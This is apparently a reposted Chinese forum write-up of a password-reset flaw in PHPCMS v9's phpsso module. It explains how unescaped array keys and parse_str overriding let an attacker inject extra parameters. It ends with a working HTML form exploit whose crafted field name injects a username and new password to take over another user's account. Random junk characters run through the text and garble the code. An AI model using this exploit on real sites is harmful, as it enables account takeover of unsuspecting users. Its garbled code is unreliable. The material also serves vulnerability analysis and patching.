提到的通行证的代码:( _& V: C5 i9 |6 e% Z
8 B% K2 I3 ]# Y, q P; l, H& A; x
% k' y! c, _+ X5 P3 ?parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);. @* c2 Y9 C( S
6 Y, G3 \6 r! z0 K3 P
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。6 @) Y1 c# P0 x& R' }( n5 s
" R: K& E, U2 F9 U
我把它留给了你们。* K, a2 _& H8 B$ Z
不知道你们发现了它没有。
% r2 t& {+ _- m, k m' D4 M
# V, R/ `- k3 s# l3 p* y/ K# g7 e' U我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
3 o; T6 r! l, _' e: e7 {& ?. I% ~2 T0 [ x' d+ J8 V d# v
所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
% h( s: M6 m9 I, U) v; Y K; B) i+ [6 X. k5 [ ]" k3 }! w! {
也就是
- J* E" t" _, c* ] ?7 o* i7 q2 T0 s8 f( \
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
& }$ A. L1 R3 e+ G4 W
9 i! i* [# o) d1 ~2 Q! N要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
$ ?6 C8 O* ?4 S% D, ~. U/ N/ B3 M9 p4 O; I6 Y; X. y
6 N3 L4 K0 g8 I/ Q
其实我们有这样的机会,看看代码,如下:
# t: _- F& \9 E8 A r$ K; W% B* X9 E6 w+ A6 Z
# P- u# b4 i x; L5 U0 @: |( Tpublic function auth_data($data) {
* I% _; X' Y+ O$ h $s = $sep = '';4 w" |% f5 n$ T8 L2 u# |$ y
foreach($data as $k => $v) {
( @9 m! a1 L0 t* h, x if(is_array($v)) {
. h5 o1 s5 @1 o; Y! i( { $s2 = $sep2 = '';
$ c. u1 @4 v3 }. b1 N$ c3 m foreach($v as $k2 => $v2) {5 f$ V+ U: K5 `: C k
$s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);: e1 R% v6 j& b0 a2 l" X
$sep2 = '&';
, A, G& a* w" F }% k0 a- P3 W' t+ Q: j
$s .= $sep.$s2;
E. p/ q& f$ x( {4 U } else {4 k' Z0 V$ h* g1 H& w
$s .= "$sep$k=".$this->_ps_stripslashes($v);
: o, _2 Z2 b0 @: P }0 k5 ^% M* b! W
$sep = '&';0 `# l+ @7 M9 o0 J4 e
}
: m N) G3 U2 H' ~4 n8 q4 M: b) t- B' h
$auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));
) C" T' w! y ]* B return $auth_s;$ \! {; b, U" h+ q* E4 [
}7 K; y6 C9 `/ W" v
. W& x# H, `+ O- E4 P! O A8 D
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。- Z) X$ {2 ~/ W1 u8 A6 o* _4 ?' j% T
, k, H0 D4 E |" U+ f3 @9 t举个例子: }1 u p. q i
5 m7 |; d" x5 Y" y9 s$a[aaa=a&bbb] = 'a';9 r' ]/ S ?" Z7 I
0 g/ ]8 j/ j6 y. m会变成aaa=a&bbb=a
, i* {+ C: B! ]& U r2 _$ O+ n/ n; O& f$ u
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。
# d/ u# d- z/ \* }+ V9 ^0 ~
: W5 Z! C/ b9 Q% n6 S这个时候,我们可以再去看一个函数。
* H6 \. j8 i. n# }5 A
* L% v& \% h; e8 p; r就在这个文件内:
7 l" z" X2 `, n( z( h8 {! C: H# \* j* K) Q+ O
. H( }! Z: j' C u& \& Ypublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {/ C X/ i3 n9 B$ ^$ p5 b4 f6 i; z+ H
if($email && !$this->_is_email($email)) { D6 B6 z! s. t4 Y5 X
return -4;" m6 I4 s% i0 `8 P! X
}5 t+ g; G7 F% C9 q2 z' V5 Y1 I, w
return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));
! r) n9 C4 |! z1 e, m }3 D) a/ T+ G# }
) m# K0 m8 y" [2 }这是向通行证发了这样一个请求。 I6 u' e. Z1 S/ N
" r1 P1 G& Z- j/ M我们再跟到通信证代码里去看看,就会有所发现。! R* l& K/ E6 W
2 M( F& @7 X) E7 P* ~" _, c
4 _! @! _( V8 G& Z. o& O* ?' b
public function edit() {6 R, G" c% a3 g2 D' r1 R
//能省就省,太长了不是吗?3 O8 A9 ]0 H+ V+ u) ^- }2 l+ l
& t% B9 X' o+ l/ b0 w
if($this->username) {" Y2 K v' C. [8 @0 z5 I
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。
$ j0 Z `; A9 U" n0 S! E $res = $this->db->update($data, array('username'=>$this->username));
3 S1 V; }1 u. g$ G/ p } else {# ~: ~+ l8 d% D: A/ W0 U
file_put_contents('typeb.txt',print_r($data,1).$this->uid);/ y* l" Z( p8 O
$res = $this->db->update($data, array('uid'=>$this->uid));: y( a2 A) M* s% s9 m, r3 V. R
}
. J5 o3 I: k5 t4 Z8 p. x# I* }* Y7 f) U0 F( e1 c, M* u
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
4 _; d; v* F4 R9 ]/ G$ L% J1 f Y. [# N. E
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
; e: Z! Q3 U, }- r k/ E5 W4 F& m
0 r# } g, n& I0 R很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。( z- c, e4 O9 E; O1 ?8 H
/ U7 i9 _/ J1 v0 V! H我当然找到了:
% }+ L( B8 b3 ~1 b5 Z7 i3 Aphpcms9/phpcms/modules/member/index.php
/ O9 u, P$ D5 F' M
3 x% _8 q3 D4 L$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);
7 Q: g/ o Z' \8 r9 ?, v# T1 ~* R
然后就没有然后了。4 O: [ U |% d# J- [2 c2 \
~) M2 v! c) |/ n! H8 c- W
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">5 N' n7 w n& k
<table width="100%" cellspacing="0" class="table_form">: @3 Y) @$ h0 w2 X; c
<tr>
; j2 Y/ ?9 _% `3 }. N <th width="80">邮箱:</th> / N. K1 w5 r8 J
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>* J/ H& _$ K; p8 R* Y# x: f
</tr>, R7 \' G. h2 ?2 s5 v6 w
<tr>) f7 B6 [+ i% z% q
<th width="80">原密码:</th>
" @- P* l' ]! M2 Y; j <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>* }# | M0 K3 ?
</tr>: E3 p6 B/ Q$ p/ z' z; Y" u
<tr>
! X6 n' o, Y0 g2 } a! V/ ? b <th>新密码:</th>
, ?6 Q: W4 {1 h- h4 R9 @% J <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>( [% V+ j/ _% W. K' Y: [" n/ @( X
</tr>
" I# e+ R! T5 z0 B: U; ? <th></th>
& H$ `% O3 ?; `" b3 {5 D3 A- \ <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
4 d2 \6 v+ J5 n( `( x </tr>0 ^* X% B" B6 D/ w B! Z2 Q
</table>& I$ y9 u/ J+ c0 a7 N% x/ ]& O( X
# R, q+ [- i# e Y$ B2 ^* u' d
* c: s, b @7 }( i/ T </form>
6 ]; f: O8 D: y |